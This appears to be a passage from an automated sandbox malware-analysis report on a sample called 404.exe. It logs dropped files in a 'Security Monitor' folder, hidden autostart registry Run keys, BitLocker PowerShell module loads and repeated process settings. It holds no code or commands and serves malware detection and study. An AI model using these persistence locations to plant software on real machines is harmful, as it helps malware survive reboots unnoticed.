Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NE9RG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-SE2BH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T6149.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-5RI0Q.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-M06NF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-A237A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-BDDH1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-J5DND.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-2D6JG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File created: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1Q7P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-FUVBN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H0VIM.tmp	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run kbdsprt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run kbdsprt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run localSPM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run localSPM	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\404.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
